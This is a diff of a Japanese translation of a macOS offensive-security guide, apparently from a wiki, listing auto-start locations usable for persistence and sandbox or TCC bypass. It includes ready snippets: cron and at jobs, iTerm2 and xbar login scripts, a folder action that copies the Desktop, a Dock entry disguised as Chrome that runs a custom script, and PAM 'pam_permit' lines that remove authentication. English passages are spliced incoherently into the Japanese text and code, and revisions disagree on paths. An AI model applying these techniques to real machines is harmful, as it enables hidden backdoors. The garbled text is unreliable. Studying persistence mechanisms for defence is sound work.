* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* 直接書き込みアクセスにはルートが必要です。`crontab <file>`を実行できる場合はルート権限は不要です
|
||||
* 直接書き込みアクセスにはルートが必要です。`crontab <file>`を実行できる場合はルートは必要ありません
|
||||
* **トリガー**: cronジョブに依存します
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
**現在のユーザー**のcronジョブをリストアップする:
|
||||
**現在のユーザー**のcronジョブをリストアップするには:
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
|
@ -419,7 +398,7 @@ MacOSでは、**特定の頻度**でスクリプトを実行するいくつか
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
以下では、通常の**cron** **ジョブ**、あまり使用されていない**at** **ジョブ**、および一時ファイルのクリーニングに主に使用される**periodic** **ジョブ**が見つかります。 日次のperiodicジョブは、例えば次のように実行できます:`periodic daily`。
|
||||
以下では、通常の**cron** **ジョブ**、あまり使用されていない**at** **ジョブ**、および一時ファイルのクリーニングに主に使用される**periodic** **ジョブ**が見つかります。 日次の一時ジョブは、例えば次のように実行できます:`periodic daily`。
|
||||
|
||||
**ユーザーのcronジョブをプログラムで追加**するには、次のようにすることができます:
|
||||
```bash
|
||||
|
@ -430,7 +409,7 @@ crontab /tmp/cron
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 便利なサンドボックス回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2は以前TCC権限を付与していました
|
||||
|
||||
|
@ -458,19 +437,19 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|||
|
||||
### Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` or `/Library/LaunchAgents/`.
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
Login Items are applications that open when a user logs in. They are managed in System Preferences > Users & Groups > Login Items.
|
||||
|
||||
### Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are deprecated and not recommended for use.
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -495,7 +474,7 @@ iTerm2の設定は**`~/Library/Preferences/com.googlecode.iterm2.plist`**にあ
|
|||
|
||||
この設定はiTerm2の設定で構成できます:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
そして、コマンドは設定に反映されます:
|
||||
```bash
|
||||
|
@ -533,7 +512,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、xbarをインストールする必要があります
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* アクセシビリティ権限が必要です
|
||||
* アクセシビリティ権限をリクエストします
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -555,9 +534,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
**解説**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、Hammerspoonをインストールする必要があります
|
||||
* ただし、Hammerspoonをインストールする必要がある
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* アクセシビリティ権限が必要です
|
||||
* アクセシビリティ権限が必要
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -579,20 +558,20 @@ EOF
|
|||
|
||||
* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、BetterTouchToolをインストールする必要があります
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation-ShortcutsとAccessibilityのアクセス許可が必要です
|
||||
|
||||
#### 位置
|
||||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
このツールは、特定のショートカットが押されたときにアプリケーションやスクリプトを指定することができます。攻撃者は、**ショートカットとアクションをデータベースに実行するように設定**し、任意のコードを実行させる可能性があります(ショートカットは単にキーを押すだけでも可能です)。
|
||||
このツールは、特定のショートカットが押されたときにアプリケーションやスクリプトを実行することができます。攻撃者は、**ショートカットとアクションをデータベースに設定して任意のコードを実行させる**可能性があります(ショートカットは単にキーを押すだけでも可能です)。
|
||||
|
||||
### Alfred
|
||||
|
||||
* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、Alfredをインストールする必要があります
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation、Accessibility、さらにはFull-Diskアクセスのアクセス許可が必要です
|
||||
|
||||
#### 位置
|
||||
|
@ -607,8 +586,8 @@ EOF
|
|||
|
||||
* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、sshを有効にして使用する必要があります
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSHはFDAアクセスを持っている
|
||||
* TCC回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSHはFDAアクセスを持っている必要があります
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -625,9 +604,9 @@ sudo systemsetup -setremotelogin on
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
#### 説明と悪用
|
||||
#### 説明 & 悪用
|
||||
|
||||
デフォルトでは、`/etc/ssh/sshd_config`内で`PermitUserRC no`が指定されていない限り、ユーザが**SSH経由でログイン**すると、スクリプト**`/etc/ssh/sshrc`**と**`~/.ssh/rc`**が実行されます。
|
||||
デフォルトでは、`/etc/ssh/sshd_config` に `PermitUserRC no` がない限り、ユーザが **SSH 経由でログイン** すると、スクリプト **`/etc/ssh/sshrc`** と **`~/.ssh/rc`** が実行されます。
|
||||
|
||||
### **ログインアイテム**
|
||||
|
||||
|
@ -668,7 +647,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(ログインアイテムに関する前のセクションを確認してください、これは拡張です)
|
||||
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、ZIPファイルが**`~/Library`**に保存され、バックドアを含む**`LaunchAgents/file.plist`**フォルダが含まれている場合、そのフォルダが作成され(デフォルトでは作成されません)、次回ユーザーが再ログインすると、**plistで指定されたバックドアが実行**されます。
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、**`~/Library`**に保存され、バックドアを含む**`LaunchAgents/file.plist`**というフォルダが含まれているZIPがある場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、**plistで指定されたバックドアが実行**されます。
|
||||
|
||||
別のオプションは、ユーザーのホーム内に**`.bash_profile`**と**`.zshenv`**ファイルを作成することです。したがって、LaunchAgentsフォルダがすでに存在する場合でも、このテクニックは機能します。
|
||||
|
||||
|
@ -682,11 +661,11 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
#### 位置
|
||||
|
||||
* **`at`**を**実行**し、**有効**である必要があります
|
||||
* **`at`**を**実行**して**有効**である必要があります
|
||||
|
||||
#### **説明**
|
||||
|
||||
`at`タスクは、特定の時間に実行される**一度だけのタスクをスケジュール**するために設計されています。cronジョブとは異なり、`at`タスクは実行後に自動的に削除されます。これらのタスクはシステム再起動を超えて永続的であるため、特定の条件下でセキュリティ上の懸念事項としてマークされます。
|
||||
`at`タスクは、特定の時間に実行される**一度だけのタスクをスケジュール**するために設計されています。cronジョブとは異なり、`at`タスクは自動的に実行後に削除されます。これらのタスクはシステム再起動を超えて永続的であるため、特定の条件下でセキュリティ上の懸念事項としてマークされます。
|
||||
|
||||
**デフォルト**では**無効**ですが、**root**ユーザーは次のコマンドで**有効**にできます:
|
||||
```bash
|
||||
|
@ -696,7 +675,7 @@ sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
|||
```bash
|
||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||
```
|
||||
`atq`を使用してジョブキューを確認します:
|
||||
`atq`を使用してジョブキューを確認します:
|
||||
```shell-session
|
||||
sh-3.2# atq
|
||||
26 Tue Apr 27 00:46:00 2021
|
||||
|
@ -748,42 +727,42 @@ total 32
|
|||
```
|
||||
ファイル名には、キュー、ジョブ番号、および実行予定時刻が含まれています。例として、`a0001a019bdcd2`を見てみましょう。
|
||||
|
||||
* `a` - これはキューです
|
||||
* `0001a` - 16進数でのジョブ番号、`0x1a = 26`
|
||||
* `019bdcd2` - 16進数での時間。エポックから経過した分数を表します。`0x019bdcd2`は10進数で`26991826`です。これを60倍すると`1619509560`になり、これは`GMT: 2021年4月27日、火曜日7時46分00秒`です。
|
||||
- `a` - これはキューを表します
|
||||
- `0001a` - 16進数でのジョブ番号、`0x1a = 26`
|
||||
- `019bdcd2` - 16進数での時間。これはエポックから経過した分数を表します。`0x019bdcd2`は10進数で`26991826`です。これを60倍すると`1619509560`になり、これは`GMT: 2021年4月27日火曜日7時46分00秒`です。
|
||||
|
||||
ジョブファイルを印刷すると、`at -c`を使用して取得した情報と同じであることがわかります。
|
||||
ジョブファイルを表示すると、`at -c`を使用して取得した情報と同じであることがわかります。
|
||||
|
||||
### フォルダアクション
|
||||
### フォルダーアクション
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
解説: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、**`System Events`**に連絡するために`osascript`を引数付きで呼び出せる必要があります
|
||||
* TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* デスクトップ、ドキュメント、ダウンロードなど、いくつかの基本的なTCC権限があります
|
||||
- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
- ただし、**`System Events`**に連絡するために`osascript`を引数付きで呼び出せる必要があります
|
||||
- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- デスクトップ、ドキュメント、ダウンロードなど、いくつかの基本的なTCC権限があります
|
||||
|
||||
#### 位置
|
||||
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* ルート権限が必要
|
||||
* **トリガー**: 指定されたフォルダへのアクセス
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **トリガー**: 指定されたフォルダへのアクセス
|
||||
- **`/Library/Scripts/Folder Action Scripts`**
|
||||
- ルート権限が必要
|
||||
- **トリガー**: 指定されたフォルダへのアクセス
|
||||
- **`~/Library/Scripts/Folder Action Scripts`**
|
||||
- **トリガー**: 指定されたフォルダへのアクセス
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
フォルダアクションは、フォルダ内の変更(アイテムの追加、削除、フォルダウィンドウの開いたりサイズ変更など)によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用してトリガーできます。
|
||||
フォルダーアクションは、フォルダ内の変更(アイテムの追加、削除、フォルダウィンドウの開いたりサイズ変更など)によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用してトリガーできます。
|
||||
|
||||
フォルダアクションを設定する方法には、次のようなオプションがあります:
|
||||
フォルダーアクションを設定する方法には、次のようなオプションがあります:
|
||||
|
||||
1. [Automator](https://support.apple.com/guide/automator/welcome/mac)を使用してフォルダアクションワークフローを作成し、サービスとしてインストールする。
|
||||
2. フォルダのコンテキストメニューの「フォルダアクションの設定」を使用して、スクリプトを手動で添付する。
|
||||
3. `System Events.app`にApple Eventメッセージを送信するためにOSAScriptを利用して、プログラムでフォルダアクションを設定する。
|
||||
* この方法は、アクションをシステムに埋め込んで持続性を提供するのに特に便利です。
|
||||
1. [Automator](https://support.apple.com/guide/automator/welcome/mac)を使用してフォルダーアクションワークフローを作成し、サービスとしてインストールする。
|
||||
2. フォルダのコンテキストメニューの「フォルダーアクションの設定」を介してスクリプトを手動で添付する。
|
||||
3. `System Events.app`にApple Eventメッセージを送信するためにOSAScriptを利用して、プログラムでフォルダーアクションを設定する。
|
||||
- この方法は、アクションをシステムに埋め込んで持続性を提供するのに特に便利です。
|
||||
|
||||
以下のスクリプトは、フォルダアクションで実行できる例です:
|
||||
以下のスクリプトは、フォルダーアクションで実行できる例です:
|
||||
```applescript
|
||||
// source.js
|
||||
var app = Application.currentApplication();
|
||||
|
@ -833,13 +812,13 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
その後、`Folder Actions Setup`アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は**`folder.scpt`**を選択します(私の場合はoutput2.scpと呼びました):
|
||||
その後、`Folder Actions Setup`アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は**`folder.scpt`**を選択します(私の場合はoutput2.scpと呼んでいます):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
これで、**Finder**でそのフォルダを開くと、スクリプトが実行されます。
|
||||
|
||||
この設定は、**base64形式**で`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`に保存されています。
|
||||
この設定は、**base64形式**で保存された**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**に格納されています。
|
||||
|
||||
次に、GUIアクセスなしでこの永続性を準備しよう:
|
||||
|
||||
|
@ -847,15 +826,15 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. さっき設定したフォルダアクションを**削除**する:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
これで空の環境ができました
|
||||
これで環境が空になりました
|
||||
|
||||
3. バックアップファイルをコピーする:`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
4. この設定を適用するためにFolder Actions Setup.appを開く:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
私にはうまくいきませんでしたが、これがライートアップの手順です:(
|
||||
私にはうまくいきませんでしたが、これがライートアップからの指示です:(
|
||||
{% endhint %}
|
||||
|
||||
### ドックのショートカット
|
||||
|
@ -875,7 +854,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
|
|||
|
||||
Dockに表示されるすべてのアプリケーションは、**`~/Library/Preferences/com.apple.dock.plist`**内で指定されています。
|
||||
|
||||
**アプリケーションを追加**することが可能です。たとえば:
|
||||
**アプリケーションを追加**することが可能です:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -887,7 +866,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
いくつかの**ソーシャルエンジニアリング**を使用して、ドック内でGoogle Chromeを**なりすます**し、実際に独自のスクリプトを実行することができます。
|
||||
いくつかの**ソーシャルエンジニアリング**を使用して、ドック内でGoogle Chromeなどを**偽装**し、実際に独自のスクリプトを実行することができます。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -961,9 +940,9 @@ killall Dock
|
|||
|
||||
**コードと一緒にカラーピッカー**バンドルをコンパイルします(例: [**こちらを使用できます**](https://github.com/viktorstrate/color-picker-plus))そしてコンストラクタを追加します([スクリーンセーバーセクション](macos-auto-start-locations.md#screen-saver)のように)そしてバンドルを`~/Library/ColorPickers`にコピーします。
|
||||
|
||||
その後、カラーピッカーがトリガーされると、あなたのコードも実行されます。
|
||||
その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。
|
||||
|
||||
あなたのライブラリを読み込むバイナリには**非常に制限の厳しいサンドボックス**があることに注意してください: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
あなたのライブラリをロードするバイナリには**非常に制限の厳しいサンドボックス**があることに注意してください: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -992,7 +971,7 @@ killall Dock
|
|||
|
||||
Finder Sync Extensionを持つアプリケーションの例は[**こちらで見つけることができます**](https://github.com/D00MFist/InSync)。
|
||||
|
||||
アプリケーションには`Finder Sync Extensions`を持つことができます。この拡張機能は、実行されるアプリケーション内に配置されます。さらに、この拡張機能がコードを実行できるようにするには、**いくつかの有効なApple開発者証明書で署名されている必要があり**、**サンドボックス化**されている必要があります(ただし、緩和された例外が追加される可能性があります)、そして次のようなものに登録されている必要があります:
|
||||
アプリケーションには`Finder Sync Extensions`を持つことができます。この拡張機能は、実行されるアプリケーション内に配置されます。さらに、拡張機能がコードを実行できるようにするには、いくつかの有効なApple開発者証明書で**署名されている必要があり**、**サンドボックス化**されている必要があります(緩和された例外が追加される場合があります)、そして次のようなものに登録されている必要があります:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -1017,7 +996,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
* `~/Library/Screen Savers`
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
|
@ -1037,7 +1016,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
このコードをロードするバイナリの権限(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)の中に **`com.apple.security.app-sandbox`** があるため、**一般的なアプリケーションサンドボックス内に**いることになります。
|
||||
このコードを読み込むバイナリの権限(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)の中に **`com.apple.security.app-sandbox`** があるため、**一般的なアプリケーションサンドボックス内に**いることになります。
|
||||
{% endhint %}
|
||||
|
||||
Saver code:
|
||||
|
@ -1106,11 +1085,11 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
|
||||
@end
|
||||
```
|
||||
### Spotlightプラグイン
|
||||
### Spotlight Plugins
|
||||
|
||||
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 便利なサンドボックス回避に使用: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、アプリケーションのサンドボックスに入ることになります
|
||||
* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* サンドボックスは非常に制限されているようです
|
||||
|
@ -1118,25 +1097,25 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
#### 位置
|
||||
|
||||
* `~/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子を持つ新しいファイルが作成された場合
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* `/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子を持つ新しいファイルが作成された場合
|
||||
* ルート権限が必要
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* ルート権限が必要です
|
||||
* `/System/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子を持つ新しいファイルが作成された場合
|
||||
* ルート権限が必要
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* ルート権限が必要です
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子を持つ新しいファイルが作成された場合
|
||||
* 新しいアプリが必要
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* 新しいアプリが必要です
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
SpotlightはmacOSに組み込まれた検索機能で、ユーザーにコンピュータ上のデータへの迅速かつ包括的なアクセスを提供するよう設計されています。\
|
||||
この迅速な検索機能を可能にするために、Spotlightは**独自のデータベース**を維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名とその内容の両方を素早く検索できるようにします。
|
||||
SpotlightはmacOSの組み込み検索機能で、ユーザーにコンピューター上のデータへの迅速かつ包括的なアクセスを提供するよう設計されています。\
|
||||
この迅速な検索機能を可能にするために、Spotlightは**独自のデータベース**を維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名と内容の両方を素早く検索できるようにします。
|
||||
|
||||
Spotlightの基本メカニズムには、'mds'という中央プロセスが関与しており、これは**'メタデータサーバ'**を表します。このプロセスはSpotlightサービス全体を統括します。これに加えて、複数の'mdworker'デーモンが存在し、さまざまなメンテナンスタスクを実行します。これらのタスクは、異なるファイルタイプをインデックス化するなどの作業を行います(`ps -ef | grep mdworker`)。これらのタスクは、Spotlightインポータープラグインまたは**".mdimporterバンドル"**によって可能にされ、Spotlightがさまざまなファイル形式全体のコンテンツを理解してインデックス化できるようにします。
|
||||
Spotlightの基本メカニズムには、'mds'という中央プロセスが関与しており、これは**'メタデータサーバー'**を表します。このプロセスはSpotlightサービス全体を統括します。これに加えて、複数の'mdworker'デーモンがあり、さまざまなメンテナンスタスクを実行します。これらのタスクは、異なるファイルタイプをインデックス化するなどのものであり、これはSpotlightインポータープラグインまたは**".mdimporterバンドル**"によって可能にされ、Spotlightがさまざまなファイル形式全体のコンテンツを理解してインデックス化できるようにします。
|
||||
|
||||
プラグインまたは**`.mdimporter`**バンドルは以前に言及された場所にあり、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要)。これらのバンドルは、管理できる**ファイルタイプと拡張子を示さなければならず**、このようにして、Spotlightは指定された拡張子を持つ新しいファイルが作成されたときにそれらを使用します。
|
||||
プラグインまたは**`.mdimporter`**バンドルは以前に言及された場所にあり、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要)。これらのバンドルは、管理できる**ファイルタイプと拡張子**を示さなければならず、このようにして、Spotlightは指定された拡張子の新しいファイルが作成されたときにそれらを使用します。
|
||||
|
||||
すべての`mdimporters`を見つけることが可能です。実行中:
|
||||
```bash
|
||||
|
@ -1184,12 +1163,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
他の `mdimporter` の Plist をチェックすると、**`UTTypeConformsTo`** エントリが見つからないかもしれません。これは組み込みの _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) であり、拡張子を指定する必要がないためです。
|
||||
他の `mdimporter` の Plist をチェックすると、**`UTTypeConformsTo`** エントリが見つからないことがあります。これは組み込みの _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) であり、拡張子を指定する必要がないためです。
|
||||
|
||||
さらに、システムのデフォルトプラグインが常に優先されるため、攻撃者は Apple の独自の `mdimporters` によってインデックス化されていないファイルにのみアクセスできます。
|
||||
さらに、システムのデフォルトプラグインが常に優先されるため、攻撃者は Apple の独自の `mdimporters` によってインデックス付けされていないファイルにのみアクセスできます。
|
||||
{% endhint %}
|
||||
|
||||
独自のインポータを作成するには、このプロジェクトを使用して開始できます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer)、その後、名前を変更し、**`CFBundleDocumentTypes`** を変更し、**`UTImportedTypeDeclarations`** を追加してサポートしたい拡張子をサポートし、**`schema.xml`** でそれらを反映させます。\
|
||||
独自のインポータを作成するには、このプロジェクトを使用して開始できます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer)、その後、名前を変更し、**`CFBundleDocumentTypes`** を変更し、サポートしたい拡張子をサポートするように **`UTImportedTypeDeclarations`** を追加し、**`schema.xml`** でそれらを反映させます。\
|
||||
その後、**`GetMetadataForFile`** 関数のコードを変更して、処理された拡張子を持つファイルが作成されたときにペイロードを実行します。
|
||||
|
||||
最後に、新しい `.mdimporter` をビルドしてコピーし、以前のいずれかの場所に配置し、**ログを監視**するか、**`mdimport -L`** をチェックしてロードされているかどうかを確認できます。
|
||||
|
@ -1241,7 +1220,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
定期的なスクリプト (**`/etc/periodic`**) は、`/System/Library/LaunchDaemons/com.apple.periodic*` で構成された **launch daemons** によって実行されます。`/etc/periodic/` に保存されたスクリプトはファイルの所有者として **実行** されるため、潜在的な特権昇格には機能しません。
|
||||
定期的なスクリプト (**`/etc/periodic`**) は、`/System/Library/LaunchDaemons/com.apple.periodic*` で構成された **launch daemons** によって実行されます。`/etc/periodic/` に保存されたスクリプトはファイルの所有者として実行されるため、潜在的な特権昇格には機能しません。
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1274,7 +1253,7 @@ total 8
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
他にも実行される定期的なスクリプトがあり、**`/etc/defaults/periodic.conf`** に記載されています:
|
||||
**`/etc/defaults/periodic.conf`**に記載されている実行される他の定期スクリプトがあります:
|
||||
```bash
|
||||
grep "Local scripts" /etc/defaults/periodic.conf
|
||||
daily_local="/etc/daily.local" # Local scripts
|
||||
|
@ -1314,30 +1293,26 @@ ls -l /etc/pam.d
|
|||
|
||||
### Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
|
||||
Launch Agents are used to run code at login or when a user logs in. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `/Users/username/Library/LaunchAgents/`
|
||||
- `/Users/<username>/Library/LaunchAgents/`
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are located in the following directories:
|
||||
Launch Daemons are used to run code during boot or system startup. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
|
||||
### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in:
|
||||
|
||||
- System Preferences > Users & Groups > Login Items
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
### Startup Items
|
||||
|
||||
Startup Items are legacy items that are launched at system startup. They are located in:
|
||||
|
||||
- `/Library/StartupItems/`
|
||||
Startup Items are legacy items that are launched during system startup. They are located in `/Library/StartupItems/` but are deprecated and not supported in macOS Catalina and later.
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1371,11 +1346,11 @@ session required pam_permit.so
|
|||
|
